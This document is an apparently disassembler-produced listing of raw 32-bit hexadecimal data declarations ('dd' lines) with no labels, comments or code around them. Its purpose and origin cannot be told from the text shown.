		dd 8DD1BFA2h, 3100FA4Eh, 17985BDEh, 0FBED024Ah,	0B036AB87h
		dd 6F380D2Fh, 25491602h, 82E76DDBh, 0B08D8E1h, 7C2DC17Eh
		dd 3E9D826Ch, 4F0404FEh, 0FBE97E4h, 1B3F2D1h, 0B44E667h
		dd 51E47F7h, 0ABB1B9E9h, 0AF5D4649h, 0C0DA6BC7h, 2C4FE90h
		dd 3098F480h, 0D8DD58E6h, 0E0F84B54h, 8181B5C3h, 95EED8h
		dd 0C829D184h, 8C685159h, 9D8C464Eh, 582B40BEh,	0D2315902h
		dd 462DE068h, 4A10F0B3h, 4FE18C34h, 0FD451941h,	162F52EAh
		dd 0B730EE09h, 697452B5h, 0C5932461h, 5C166C4Ah, 873CF7E8h
		dd 0DAC2C6A5h, 0C3266E56h, 0C6E53613h, 41020060h, 8C61F0F0h
		dd 475954B7h, 0EA9FF4DAh, 4F326CF3h, 547E6825h,	0E3EE8140h
		dd 5D95164Dh, 8C75001h,	51A6D25Eh, 0A07F1A42h, 4A0221F0h
		dd 0C3789F70h, 0C5384B7Eh, 8AFB4A45h, 0A85F4AAFh, 12DB650h
		dd 7DF2B2D5h, 6C092A8Fh, 0E9613AFCh, 9473F283h,	4E255928h
		dd 0FB668427h, 0FAD32A77h, 43A3044Dh, 0AA363906h, 51094080h
		dd 0F1245D45h, 98D2C14Ah, 0B7282A1Eh, 68934003h, 151F5431h
		dd 2B832B91h, 0D5365DF2h, 7E6699EDh, 3EE91442h,	8C47DDE7h
		dd 266DD725h, 0E857E985h
		dd 81ED89D1h, 1F53EEC8h, 89456CD0h, 0F72B238Fh,	2E3B3550h
		dd 2F265D4Eh, 21BEFA3Eh, 5C2A02EDh, 1C8E8234h, 415212F0h
		dd 9C4FE78Bh, 18031400h, 1D13A7Ch, 0D2BF57EBh, 3A71975Ch
		dd 62472ACh, 78F1D55h, 0AE944B0h, 0D2C83D67h, 2EC1BA3Eh
		dd 0B7872BB4h, 76AD06DEh, 0D0A00182h, 8B317358h, 0DA3B43AEh
		dd 14710082h, 0E38129EAh, 4B0626ADh, 3D58E965h,	84F64E22h
		dd 7634A8EAh, 27A0B680h, 0C146F028h, 0F2E7C8F0h, 16469675h
		dd 0B2EA20E9h, 0A1914AC4h, 166C1561h, 0DB5557F2h, 8AE90B97h
		dd 0F2070452h, 9A45569h, 0FFAA5BB2h, 2E4A26DAh,	0B3BF6780h
		dd 0D7B3D13h, 0A4CF4B79h, 24E3A341h, 59446A2Ch,	59CA650Ch
		dd 55DE23C5h, 0F2C972E1h, 0C9005C7Dh, 0AFD28904h, 257B51F6h
		dd 125FE1ABh, 5AD957E9h, 0CB4F360Ch, 8D6815E8h,	257F7C37h
		dd 1575A279h, 405E2785h, 7181F74Bh, 2F1D60E9h, 5F2850E6h
		dd 0A7FB5C26h, 32279858h, 14F697Ch, 9499675h, 0FE01AA3Eh
		dd 1FB613B7h, 0F06B6E71h, 3C13EAFEh, 27112CAFh,	0F73475DCh
		dd 0C3BF0A89h, 0BCFC9CD1h, 7ACB9F67h, 0C17A1B02h, 9981359Ah
		dd 0F6C68852h, 3EF0D1D6h, 0B15F4BB9h, 0E4BC6ED2h, 256CCF03h
		dd 49F9695Dh, 0A5A82EBCh, 9337E4B7h, 94152C01h,	8290195Bh
		dd 5F66AD68h, 2C38E319h, 96BE00F8h, 9297D47h, 985E4CF3h
		dd 0EAD8AA51h, 32A3017h, 73E02E0Ch, 0CBAF7C4Fh,	1AF948E4h
		dd 75D92617h, 526CED85h, 0DA030F8Bh, 0F7AD5B6Fh, 0CFED600Ah
		dd 0D41AFD6Bh, 3AFC2541h, 2D7BE906h, 34682F51h,	351D98DFh
		dd 15E02E5Ah, 58DD00E1h, 0FCE9127Eh, 648CC65Eh,	4CF792B8h
		dd 2CC7F66h, 519DCB6Ah,	292AC01h, 1C9A6AE3h, 0C9138C72h
		dd 0C70E2469h, 9538E3EDh, 14F5E04Dh, 9DD026C5h,	0E65D1627h
		dd 0B70F128Eh, 0F55604FFh, 527B3770h, 30CE0BEEh, 17036F3Fh
		dd 0E13E225Bh, 313C0ABFh, 0EF9DF34Ah, 75A51B05h, 58CAB680h
		dd 0D0BF48D6h, 6817CE20h, 0FDA84FC2h, 330537CBh, 0FA8DAE1Eh
		dd 150EF06Eh, 0A0FC7320h, 243C3562h, 35F3710h, 4A6F5419h
		dd 6880C00h, 92E9493Ah,	667CB7BDh, 95D5F15Bh, 65ABFCFBh
		dd 0A229BB0Bh, 0F639E92Bh, 70B101A0h, 0FE08E1C0h, 0D81329C9h
		dd 1330ACD9h, 0EE08E9C1h, 48019689h, 5A02A29Eh,	0DA20E4FAh
		dd 0C14A0937h, 100204E2h, 89E10FFEh, 55546B21h,	34C20763h
		dd 5EFBDDFFh, 1F280CD1h, 0FB48317Dh, 0E5D7284Fh, 7E2A952Fh
		dd 9E586BC5h, 63A9CC90h, 0D987FC5Fh, 675238D2h,	80523B1h
		dd 0DD87D882h, 2AD12D33h, 0AAD6542Fh, 0D0DA84A4h, 0F702D429h
		dd 0D1318A3Bh, 73043F50h, 21A677CCh, 61A4F0FFh,	0B951017h
		dd 0E90B1DA8h, 21F9D834h, 7F97B802h, 1B146014h,	0BF2AE133h
		dd 95F87729h, 47CEBF1Eh, 2F402920h, 0BE16D701h,	4BA7BA20h
		dd 7451A830h, 0D03F9198h, 0F21A13E7h, 0ECCD98BFh, 0E501FEB5h
		dd 0FD384950h, 6C0D1840h, 3B614113h, 2D030100h,	30AE83AFh
		dd 0BB622924h, 0A92D9198h, 0A8295FBAh, 43477685h, 42452DDCh
		dd 9760B37Ch, 236EB9DBh, 0A0644FA1h, 0DC13930Bh, 68E89B5Eh
		dd 0CFE8F5Bh, 0F136AA68h, 0A73EFBD4h, 19292CD7h, 82C07416h
		dd 230A235h, 682D14C2h,	0A7C06E76h, 9BCB10E7h, 0AB9BD558h
		dd 84A948EAh, 1DE4F70Eh, 0A3E7F449h, 268A640h, 3ECE6EB8h
		dd 4A60815Fh, 1202856Bh, 0FAE9FE89h, 14874625h,	0CC028864h
		dd 0FE3C8635h, 688319E3h, 0FE843064h, 0E9A026A2h, 39B5D859h
		dd 62265332h, 258C372Ah, 0E2D578B1h, 604157A2h,	70C8C138h
		dd 0B3F2E81Bh, 2CC10C5Ah, 0BC6B54E9h, 2B86412Ah, 0AD1579AAh
		dd 70CF74E1h, 859778E9h, 2DFA5965h, 44172ED4h, 2E5E9BAFh
		dd 0C5AF89C5h, 0C3A73CD3h, 20C410FDh, 0A4208641h, 207EB09Bh
		dd 0C02FB2F7h, 2453F4E7h, 0B5510711h, 9024F5A9h, 0C5805AACh
		dd 0E50D2373h, 2CEDC0F3h, 16E05CDh, 0E9E82809h,	0BAA0CED9h
		dd 7B0F78CDh, 53A3E58h,	1EE44260h, 2F224680h, 456C3275h
		dd 0DB60AF0Eh, 0EF65295Dh, 9207DF06h, 56A303C9h, 9EC0BF5Bh
		dd 9F7F7742h, 0C09FA7F2h, 2D382807h, 0AB5F7CE5h, 39117A11h
		dd 428030D3h, 0FE25D0F7h, 33021556h, 600DFD05h,	9BD0F53Ah
		dd 6C0B53E6h, 7029628Eh, 208832Bh, 7010490Ch, 725D5D3Ah
		dd 53B81CC0h, 3DAA7F02h, 6590DEh, 368C6096h, 7C59EE81h
		dd 0F4442D2Dh, 8B60A9Ah, 854C8DF6h, 6FB2F8A4h, 57E101Eh
		dd 4D7F14C7h, 50E21950h, 5DCCF25Fh, 0AC0F64A5h,	83CBC857h
		dd 41040A8Bh, 898CABF9h, 0D8090968h, 83853FFAh,	914B790h
		dd 0FD5B7C68h, 0EC570732h, 139E5FF0h, 236CFA40h, 0BACC4E61h
		dd 0B1C26634h, 25EE209Eh, 0BD4FCFC9h, 0FFC913FAh, 0C1F66782h
		dd 84E5CD4Dh, 0D55EE368h, 4FB7BA25h, 86D8EB96h,	218440AFh
		dd 4484C8BFh, 597A2C7Bh, 0F8AD058Eh, 1880844Bh,	6F0528D0h
		dd 46510F2h, 71D2D94h, 81FE525Dh, 3D92055Fh, 0DC221517h
		dd 58FB68C2h, 0E962E654h, 4012DC44h, 349749BDh,	0D779C2BDh
		dd 482FC516h, 0C9D41BB8h, 4050B65h, 0EB2346C4h,	0D63E999Ch
		dd 1DCA8E3h, 0EC690805h, 0AB3E012Bh, 0E9502D42h, 0BDAEA071h
		dd 4A8010B2h, 67FEB01Eh, 81035C72h, 4F6E62F2h, 89EAB013h
		dd 33C41821h, 0CA8C1A4Ah, 4A281C3Dh, 0B42453FCh, 345DAF4Dh
		dd 0E5F8Ch, 0FE92B07Bh,	0A20724C8h, 0AF04FB0Ch,	3039BF3h
		dd 49CDBE1Eh, 8E0539F1h, 6DE7704Dh, 66E482EAh, 0F17D976Ah
		dd 80E4ACCEh, 0BA3BA01Ch, 0F97D2C1Bh, 5B2449B0h, 8500A957h
		dd 0BF598E53h, 54B70439h, 0C2F701D3h, 640A9256h, 20497E1Ch
		dd 0A98D042Dh, 9F518909h, 75B0E963h, 83892D37h,	7A0B31DDh
		dd 0B1212792h, 4AB2F81h, 0AC88634Eh, 0E077C418h, 0A460C810h
		dd 3CB0079Ah, 25EA465Eh, 0D4780B34h, 19C66DF5h,	2A5E8547h
		dd 7BE77DFFh, 4B21BF99h, 2038A57Ah, 5612CD5Fh, 0D6EF5020h
		dd 0F40F8A39h, 6430F70Ah, 5C14EF67h, 101DCD07h,	29C26F50h
		dd 0F8758F5Ah, 0E10725A4h, 0AA4257F9h, 0EC57092Ah, 82E81CCDh
		dd 27F465FFh, 2C68ABCCh, 0D0D06ABCh, 0BA435258h, 0FA09962Dh
		dd 76EBD148h, 42D37110h, 0FD0B7B02h, 0CCF52964h, 1279632h
		dd 0AABEE0B9h, 0B3C597E9h, 285F88BFh, 82EDC84Ah, 0D175E985h
		dd 2F5B58ECh, 0FFE9E33Ch, 3501006Ah, 17FD575Fh,	0B9F1F90h
		dd 5C61FF0Ch, 2EB3C85h,	0AC767D35h, 0C0EBD42Ch,	389234E1h
		dd 4D33C6C1h, 2C2E734Fh, 0A4ED75Eh, 0F2603744h,	823EA3ABh
		dd 0FF6DD368h, 511631B3h, 0A493FE9h, 0EA7F8049h, 5C3CC466h
		dd 6B6B6E53h, 0BFC2CA02h, 78ED8302h, 56A0B7Eh, 10774239h
		dd 94B857Fh, 82E91D06h,	5756E340h, 2B845E51h, 208C72D1h
		dd 1619B62Fh, 94F9799Dh, 7F95AF93h, 3050D7FCh, 5CB0958Ch
		dd 53B7737Bh, 0BC5F3DF9h, 75AB5AD0h, 3A5E010Ah,	3140566Ch
		dd 23F5D302h, 30098B08h, 21D0E952h, 606F68ACh, 0B2497C63h
		dd 4BCD9110h, 748F2E0h,	0E6781D35h, 5212E90Ah, 57A14C40h
		dd 7C32892Dh, 0E4089C7Ch, 0E84317CAh, 6BFC4A29h, 80025CA8h
		dd 0B151CBC6h, 1B8B5D7Ch, 0CDC92F82h, 3285B02h,	0F081212Ch
		dd 0B8E1D204h, 0A3E0C284h, 7682CC58h, 812E8836h, 2C4F041Ch
		dd 2598BC6h, 0D2766726h, 3CB50442h, 0FFFC41E9h,	0F658F5A3h
		dd 9E7CD72Fh, 50DAF273h, 75FCEA04h, 0E33BED80h,	6DAFD36Eh
		dd 0C2DE7A54h, 1F6E92Fh, 6ACE6886h, 0B8F92515h,	0FC8A967Dh
		dd 87D3481Eh, 0B74AF9D0h
		dd 4A03E26h, 74011428h,	5E0C0B64h, 8BA10416h, 12D52C23h
		dd 59814C2Ch, 1F85170Eh, 0F35B9768h, 435C1343h,	3AD631FEh
		dd 0A6E96ABAh, 0C0293DDh, 22E530EBh, 31285Fh, 0FA049966h
		dd 0B9F4A50Ah, 0EE038896h, 99F1C580h, 0E5FB11EDh, 0CE281DF1h
		dd 0F7F64B12h, 25904B8Ah, 2F59AFF5h, 4A057A5Bh,	2E54B128h
		dd 806574BEh, 664FC90Dh, 36673A26h, 0F5CE5109h,	7F09D3C4h
		dd 5F28B756h, 0B929FEDh, 508858F0h, 7659B54Ch, 0C1CF4E53h
		dd 7E9BEEECh, 0BF5BA99Bh, 0A1937C22h, 78068FDh,	0CBC98F6Ch
		dd 0CA5502A9h, 0D66B5F54h, 5E328BF4h, 329332BEh, 0C968D6A2h
		dd 96FC676h, 849AD96Ch,	0DCF38EE9h, 3A628648h, 9336DE7h
		dd 41DBA481h, 0C11B20DCh, 2E93253h, 797556B8h, 0C5685712h
		dd 3FB122CCh, 872691A0h, 0C92FF101h, 0C42FD9D3h, 81C4BF7Ch
		dd 4FB4A3EEh, 0A22B3F7Dh, 0FE0CC5C7h, 5FFCB6BBh, 0B95E53F2h
		dd 5FFBB25Ah, 0F2952CDEh, 0F7800285h, 40F828D4h, 4B04D880h
		dd 82F1BD67h, 40E9C05Fh, 95AEFA74h, 3B6802ADh, 25107CB2h
		dd 21680A2Fh, 793A841h,	0F24A5EBCh, 0FF68A062h,	2F079379h
		dd 5E5FFAC2h, 0EC717275h, 2FB75340h, 16F54BE9h,	1019B96Bh
		dd 8101B0A6h, 110369EEh, 55A02B68h, 0E9D10989h,	0C27698D6h
		dd 0B9515540h, 185D0683h, 4D9F74Eh, 74BE974h, 84011C98h
		dd 0F2693691h, 0D3174F30h, 0F893C8C9h, 93DC7A3h, 97FD20EFh
		dd 719622EAh, 63D4577Eh, 4AE73480h, 798226C5h, 28717F22h
		dd 4CAC5A5h, 0AA5F6468h, 2660E38Bh, 637F362Fh, 6900176h
		dd 5E337027h, 0C3B9E1C4h, 9602C762h, 601F5DE9h,	32AF7CB2h
		dd 0A7D8D934h, 7D60DDFCh, 0F9FBB0Ah, 7F225CE8h,	0D54CFA03h
		dd 21B5E927h, 215AD1CAh, 45803BDDh, 7B63E03h, 15132D7Ch
		dd 100D501Ah, 6F1E400Eh, 0B1F233E9h, 0AC5CDCC5h, 4B411C56h
		dd 42505E36h, 80844FDh,	872CE893h, 0E6D8EA2Dh, 95CB11Fh
		dd 0D1746371h, 79BF57C0h, 0B552D22h, 8283027Ch,	60F4AADDh
		dd 0EDC0C18Ah, 0E501D002h, 53FDF580h, 0A07B8AB3h, 7DEFE984h
		dd 0C15F05E8h, 0FCA09783h, 5AFA7F09h, 8B45871Ch, 5DB14EFDh
		dd 52042DB0h, 16577268h, 170B4C08h, 2F10F25Eh, 4244C852h
		dd 0C7B24068h, 4D97C208h, 0FF5F13FFh, 0DA323B8Eh, 8CD0F7A6h
		dd 42B036B0h, 3026287Bh, 0C23495C3h, 0D263F2FAh, 0E909F6A8h
		dd 13F433FEh, 4CAB3D1h,	1088B205h, 0B902CEE7h, 1BB349D5h
		dd 54082740h, 0D5290128h, 9D648C0Ch, 16130C75h,	2D554160h
		dd 4FE12A65h, 5B79380Ch, 9F83A42Bh, 3AA4164Ah, 41271DEDh
		dd 8FCE8217h, 8DD4621Ch, 1DC35500h, 4FCFE9E5h, 292CEF94h
		dd 0BFD54BD9h, 0A6440421h, 0B40B2005h, 2765647h, 7237E707h
		dd 1F1C4FC0h, 390338C7h, 2F33524h, 58C2295Fh, 15BC975h
		dd 0BD5BFB32h, 40C0A179h, 0A2C26C2Fh, 6F94D4BAh, 58DB7C2h
		dd 0AA2AF5Ch, 617C1213h, 3E545312h, 2440AE99h, 12ED3C5Ah
		dd 4241E97Ah, 59B1680Dh, 0CCFF9957h, 0F328BF2Bh, 5BE370B2h
		dd 0CD57C1D5h, 0FDE5CC93h, 7B1C68B8h, 469D0D04h, 1AECCC17h
		dd 52E0E574h, 946EC4B2h, 0D3F605D7h, 0D62E4BC2h, 5A44CF36h
		dd 9CF6FE96h, 0AFB5435h, 80960146h, 6F1B6856h, 9E5CEFh
		dd 9DEBC59h, 344E5ED0h,	285B4580h, 7004E6FEh, 20F058ABh
		dd 0D7F6B101h, 6A10E780h, 0F571E605h, 82D24AB9h, 515FEA37h
		dd 0A4A113FAh, 0FA95C540h, 0AFA4C4D4h, 2EE2ED88h, 2009B56Fh
		dd 39A04155h, 59CDE1C6h, 907D2A89h, 68704354h, 9A205E8Ah
		dd 0DDCF27B6h, 35BF3122h, 0BB42C151h, 50520015h, 3F94B8B0h
		dd 47C1DE27h, 9DA8580h,	0E5D85A83h, 4D04E11Dh, 3801291Dh
		dd 52515366h, 0E8207831h, 5081F9EFh, 887576BDh,	56FA2A02h
		dd 8174ED9Fh, 47FD6850h, 1570CC7Eh, 18D83806h, 0A00B11B8h
		dd 9F13E997h, 0D07E6D0Ah, 21D493FBh, 0A5F31EA8h, 4822E28Bh
		dd 8156ACAEh, 844C321Ch, 50A7C385h, 0E5D31552h,	0DCB87B7Ch
		dd 774EFFA8h, 0E8152CFFh, 816F7D45h, 24AC18E2h,	241E8DABh
		dd 8F9D4334h, 2DE1E5ADh, 2536BCDDh, 22663BCCh, 0B32395A6h
		dd 7E4A2AF9h, 0ADD19F68h, 0C5C2CD96h, 6686E046h, 22712C08h
		dd 9DF0393Fh, 0FEF4167Dh, 129923Ch, 0D41BD6BEh,	0F1F7897Dh
		dd 91162E06h, 2C2AF0F5h, 0A65A7BB8h, 5A7228BEh,	6FE99792h
		dd 0CCD21DE2h, 9541DFDCh, 0CBF3C13Ah, 0D3FF7317h, 0E57F93B1h
		dd 4690D859h, 21A1AE17h, 0E18FC1ECh, 2E2D4CF9h,	90018AA4h
		dd 0BA6A203Ch, 0E347B780h, 2B7173Bh, 5633E0C1h,	62E0626Bh
		dd 5A08045Ah, 57408AE3h, 0B80B4FB8h, 0C2167957h, 0AC82F9E9h
		dd 656BD709h, 53CB1FD8h, 0FA0A2994h, 0FE6FDA8Fh, 6CB19FF5h
		dd 3358A01h, 0D7F9CACDh, 0DF0F9855h, 22F40BE8h,	0E1C5FEAAh
		dd 8EE8064Ah, 9856BFB5h, 5C8F7F6Bh, 0EEF196A5h,	0BB538145h
		dd 571021BFh, 8CD12B83h, 279F78FBh, 76149CFh, 0B0BDBA5Bh
		dd 0DE68A52Fh, 0EED19555h, 56098344h, 42A1FB00h, 58000891h
		dd 4E3ABD55h, 4FE91D20h, 0D221E819h, 0BFA35A06h, 0EB8101FBh
		dd 7BBE2070h, 0CE0E824Bh, 5F4DDA4Eh, 68494B61h,	685E1DF4h
		dd 1F30D93h, 2F21B010h,	27B9CC5Dh, 3A563BB9h, 65BA9B62h
		dd 0AF011706h, 7A19E128h, 9AAB9C3h, 79D55150h, 1F599255h
		dd 5810CB1Fh, 68C1805Ch, 0D9697152h, 0A40ABC96h, 0D940E6C4h
		dd 9E2AA12Dh, 4E5CB70Fh, 0F2BFC1DAh, 61CDF252h,	1F06B035h
		dd 4A11564Ch, 0A6C70B16h, 0CAB0F584h, 52239C51h, 61750262h
		dd 0D12A8A21h, 2FF80DAEh, 0EAF30BACh, 8DEA12DCh, 0D9B27B3Bh
		dd 5E5DE640h, 214C8A84h, 0B95512C5h, 0B2CC874h,	0F7A71FADh
		dd 49D5AADFh, 51BD10D0h, 17CA4860h, 40221351h, 2314BD6Ch
		dd 0F8B73DF4h, 1EE1FB11h, 0C208943Ah, 68EC2BA0h, 0DB384A0h
		dd 0A128DD94h, 0E5250873h, 0E0F5606h, 5CF028CAh, 0CAD75193h
		dd 5614C828h, 19305063h, 6807999Bh, 0FF09184Ah,	0A09FAC4Ch
		dd 52D83134h, 32DD9754h, 18C77745h, 0DC58273Eh,	2E9AC210h
		dd 0BEF8804h, 3441864Ch, 0D5003B6Ch, 50793AB9h,	0F1810217h
		dd 6A9466A4h, 0D3164060h, 8925CC13h, 0D7C82A09h, 0A24F2CFAh
		dd 617BDFF1h, 5AE9BC8h,	70537E40h, 0DE415DA2h, 240FB54Ch
		dd 1DBCFA85h, 76D5C99Fh, 0B4483072h, 7284C703h,	44B22537h
		dd 0B4EFA77h, 586E1F9Bh, 0E85E0ED0h, 0D3B2B001h, 0F687F652h
		dd 9EF2805Ah, 0C96E266h, 0ACE92C13h, 1B53CCD8h,	8E754D50h
		dd 8FE762F9h, 0CFA2C163h, 0BF97DEh, 0DDBA521Ch,	0B04E094Eh
		dd 94FF4912h, 0DB6FEDDh, 2FB7A1D3h, 0BD02AFFh, 0C5A397E9h
		dd 0A2F52FEAh, 18213001h, 0D99799FCh, 16754B03h, 0C3E925C0h
		dd 0AEDEC0Fh, 0A2C288ABh, 0D1BD0590h, 0C53A902Ch, 9E0514D6h
		dd 0D93FE966h, 70781E4h, 5049AC35h, 8622D24Bh, 102045CCh
		dd 6C31248Ah, 0ED7552D5h, 0D568091Bh, 0A0BE2856h, 13EAE8DAh
		dd 0B1EF50CEh, 64F92AD9h, 0B2CA6717h, 0F4AB92F9h, 61296855h
		dd 7FA7EF73h, 8768CE38h, 0AE7D1E62h, 0CA4B7E31h, 5170A740h
		dd 63181F00h, 0A3E2813Bh, 0C46300Ah, 4207FF9Ah,	0E7E90809h
		dd 0C0C5A0EDh, 2FF7FEFAh, 45E95F50h, 5E6368B2h,	680F68AFh
		dd 8940A92Ch, 2B818069h, 97536E78h, 0B779F8h, 14CBF8Bh
		dd 8B495839h, 42935A3Bh, 37DE0520h, 0B23B229h, 685FF821h
		dd 0BBF5EA6Fh, 29A49016h, 96AC8C5Ch, 97BBE214h,	34961EE6h
		dd 36E8FA5Bh, 6D4531E2h
		dd 3EE66805h, 6986EDD8h, 93816DB1h, 0EC406B46h,	0BA39F15h
		dd 611317E0h, 64D02F6h,	0F7DF0C91h, 4CC108D3h, 0D507CE7h
		dd 34F92F10h, 7C09E3F8h, 8C4897E3h, 0C53250F1h,	0B3114581h
		dd 0EA407781h, 0F7ECC3C1h, 0FBCDD1D2h, 0CE5EA8C0h, 0D30132E1h
		dd 5007247Ch, 91D53364h, 0BD5904ABh, 0D9B9007Ch, 0B417F52Bh
		dd 0F6FAB0F7h, 2F047F64h, 0C4AFE949h, 0A09363B9h, 6E4843B1h
		dd 2257CF51h, 41F35999h, 407E4F1Eh, 6364CF81h, 0E0C249DAh
		dd 41DFFBE8h, 0AA2A2BBBh, 0DB14E044h, 3A5FAB12h, 9228AF8Ah
		dd 0A75C3Bh, 0DB65F0B8h, 16E42D72h, 0FED01EB9h,	0F7313802h
		dd 1652EA5Eh, 20C690F6h, 22EDA2F4h, 2EF9128Fh, 94F5E02Dh
		dd 9029FB04h, 169A8A2Eh, 55A0A9E9h, 8E30DC0h, 3004D3F6h
		dd 6BEDB09Fh, 0BFE063B0h, 0CABA5F00h, 7A485C0Bh, 6FE102C1h
		dd 0AE4A5E8Dh, 5DD40D9h, 95892D06h, 99D9B182h, 34C0FE00h
		dd 0C908DED4h, 2E10764Eh, 0A12EA283h, 562F1768h, 1CE52547h
		dd 2739308h, 0F52C29BEh, 16CE8682h, 0B5C45DFh, 0EC75FE87h
		dd 0F5C34B94h, 0E9820001h, 0D996DBF2h, 0B76ED84Bh, 0A7B44D2Ch
		dd 0B029E740h, 2833BD85h, 6FE864FAh, 512ED989h,	303F295Fh
		dd 0C8E2D1D5h, 0B02AEC3Bh, 4EAC07B4h, 174121CEh, 931816E9h
		dd 0A25BBA80h, 0B5294B4Bh, 768B2620h, 0E94A0B7Ah, 0A5562542h
		dd 7DE6F78Fh, 0A1DEF065h, 323FB688h, 0F59138B3h, 73616EF8h
		dd 0AD6FFF75h, 56FA93BCh, 311AECBDh, 0D7C42B33h, 7B895E01h
		dd 295F390Bh, 6096F5A2h, 6E9A6827h, 0D6E9164Ch,	6EABF585h
		dd 0DED23E5h, 0E8B3163Bh, 3335E007h, 34E52816h,	2A2760D0h
		dd 98200DBEh, 38244D7Ah, 10800182h, 29F079AEh, 952590F2h
		dd 1A5DF387h, 43A201B9h, 7CC11EBBh, 0F771872h, 2E19314Dh
		dd 1063137Fh, 6060481Eh, 15F38104h, 7A922596h, 0E2C1B702h
		dd 111226C0h, 8662AF91h, 279BD509h, 238813C9h, 0EABD2529h
		dd 5FBB6227h, 7F6990F1h, 36E893F9h, 71EFAF62h, 0FCF488FCh
		dd 2C93541Fh, 0C70321B9h, 0B21F699Eh, 9F423DDBh, 700D2D7h
		dd 6A806F9Ah, 6B050448h, 91957F90h, 281578Bh, 0B3D37F55h
		dd 728F7A4Bh, 0B0DF9510h, 95665CC6h, 7E9FCAE6h,	0E2E9C1D8h
		dd 716755B0h, 168C5352h, 0EE681513h, 0D2168317h, 82DD9DB2h
		dd 130851CEh, 3E9C5F48h, 0A8AAE916h, 0E959D9BFh, 0C5EC3B88h
		dd 8864FFF5h, 2F91E180h, 6A5E5967h, 100F4105h, 1DBA0121h
		dd 80042A08h, 0A128EA18h, 5E6BE983h, 0B80C947Dh, 10C535DFh
		dd 0D7BE88BEh, 65046B1Fh, 0EF57C192h, 0D8A2E304h, 0C2B55104h
		dd 7D61D5C2h, 3C8C2BC5h, 0C599DC2h, 4B7DA08h, 0C4200335h
		dd 13BDFA8Eh, 0FB18AA4Bh, 4B086812h, 0F1648C49h, 0DB427045h
		dd 64F8C058h, 0EDD49FFBh, 0FF07EC62h, 0AAE145A0h, 50765F6Bh
		dd 0BB7FD5FAh, 0E0CF50C9h, 3874DA72h, 12E909AAh, 36892075h
		dd 0C9ABBD52h, 815903C8h, 767599E3h, 6C80E97Bh,	686F0F0Eh
		dd 0F72F4941h, 0D676D1h, 0E9B7B9F3h, 3BBD80A5h,	5BCB2FE5h
		dd 0F060D3D6h, 95874602h, 4709FDC0h, 0C4DA1C48h, 20F9BC94h
		dd 0AC445584h, 8DD0DF5Bh, 0E3D32E62h, 0FDE8C002h, 0ED37AA41h
		dd 4C6531h, 7C51C3ECh, 0A28C1A32h, 7BD60B76h, 0D2026B89h
		dd 0BF3362E1h, 0E9DD0159h, 0CDBF08CDh, 0ABE882ADh, 41825E3Ah
		dd 0BF041658h, 3293ACF7h, 0C3D6FA00h, 0EA52FC12h, 0CDC62DEEh
		dd 47A03FE5h, 0C07A4853h, 0B6BBE674h, 2A7D2D34h, 0A52DD447h
		dd 80B06B49h, 27C8B830h, 0F9D989ECh, 0A108864Fh, 7534C4E3h
		dd 7F29097Dh, 0AE18884Ah, 5C978A68h, 0C7FE6689h, 40C57CBFh
		dd 0B676859h, 8A69FB9Fh, 8098C2E9h, 220812B8h, 0A0B5314Ah
		dd 960FA509h, 2370B55Fh, 26FB8AC8h, 0E7621DACh,	0CDA52FDBh
		dd 29F9A59Bh, 0D692C2h,	860A44BAh, 0CAC43C4Fh, 69809F88h
		dd 0E1578ADFh, 7AF9E999h, 4A7BC567h, 0E9DCAFF3h, 32F7955Bh
		dd 0E985100Eh, 44725A09h, 0E921F3F5h, 11BF007Ah, 0D15B61D7h
		dd 0D3CBFCEBh, 9C1BE41h, 0D27A31E4h, 5EFC6E71h,	29391152h
		dd 0D71FD2Eh, 31AA1FE9h, 90D6B9DBh, 0B5B0C82Bh,	523F80E9h
		dd 0DF1A2C68h, 4A5A017Ah, 73C9EA81h, 57F78A7h, 0B77F92ABh
		dd 0F02AFAE1h, 4A14E712h, 208D441Bh, 0F48000B3h, 58E288DBh
		dd 0D1EA5153h, 0A2E147EFh, 5B755BDDh, 0E9460263h, 0FBDAEDFAh
		dd 1D3A309h, 52DA75B0h,	6E266813h, 431023E7h, 328150C9h
		dd 514E1213h, 13EAEB01h, 4E2B529Ch, 78E2F403h, 2507211Fh
		dd 553B1DF0h, 9EC7A35h,	8E686739h, 0BB4C98D5h, 371616D8h
		dd 12C8A832h, 0DC8552E9h, 84BDDEBh, 42F5DDB6h, 0AD8BBD9h
		dd 1EB5B4Bh, 4861A3E1h,	3F542655h, 0FAE58F7h, 0C72D4F8Dh
		dd 2993CB81h, 0E3608F16h, 0BF426AB0h, 6C31800h,	0AD097A2Ch
		dd 7E5BD929h, 0D4CD5906h, 595B5DEEh, 0E90B16A2h, 25E70526h
		dd 97E9C730h, 0BE519D6Fh, 8CE73CBh, 5A131E5Bh, 4C338EBEh
		dd 9AA42049h, 0B9B42B85h, 0B3543798h, 0C9DF6D90h, 1F1F05Eh
		dd 3B312D3Bh, 5C3722BBh, 64C5B15Fh, 64F559A5h, 155A60DFh
		dd 146C7F2Dh, 54F20C75h, 5507D477h, 4C0742BDh, 228BFFC9h
		dd 7AA84BC8h, 66E5F582h, 20BC2D3Fh, 7C574B92h, 2E0CC012h
		dd 58610546h, 1F64C2B8h, 36870977h, 0ED8CABC0h,	0C16B466h
		dd 0EB45F613h, 9243C99Ch, 0C7170397h, 390C4F4Eh, 5E84BD9h
		dd 0AB02764Bh, 885476A5h, 890B80F3h, 88A480E6h,	0F567D62h
		dd 66DBB405h, 17E32521h, 0BBF06E67h, 152D0102h,	0E9380C4Ah
		dd 0BF2784Dh, 0B3266C68h, 79ACA2Ch, 0C4526F5Eh,	0EEECEA31h
		dd 0ACECEAB4h, 286CA486h, 4E7D130h, 71E5CF81h, 0FA074A69h
		dd 9464A82Bh, 0C1FF12B6h, 0DE404Ch, 263E73BFh, 36F4345h
		dd 72533D8Fh, 63865004h, 46BC4968h, 0E9574102h,	0CB5427F0h
		dd 0EE3E44Fh, 0F2511CCCh, 62C9F33Dh, 7645C73Fh,	5BA30E2Eh
		dd 0AB20BBCCh, 9738A468h, 0A24BE7F1h, 0EB7CAE3h, 0A22CABC0h
		dd 5372505Ah, 81A1B43Eh, 58E7286Fh, 485DFF6h, 0EF42EF80h
		dd 110474C0h, 0E9170934h, 5B20749Bh, 0F01EED81h, 90C20AC2h
		dd 0EAAF8645h, 0C204E710h, 1F0D815h, 4AC18480h,	0E1791226h
		dd 94562693h, 6A77B301h, 0B6EC2F2Dh, 0B553BFABh, 2CBF0112h
		dd 144B87D1h, 0BFD3E5E6h, 7748F422h, 9223B34Fh,	2FADE625h
		dd 1ECCDD68h, 70FF92D3h, 4B782D01h, 114B274h, 2C0705F8h
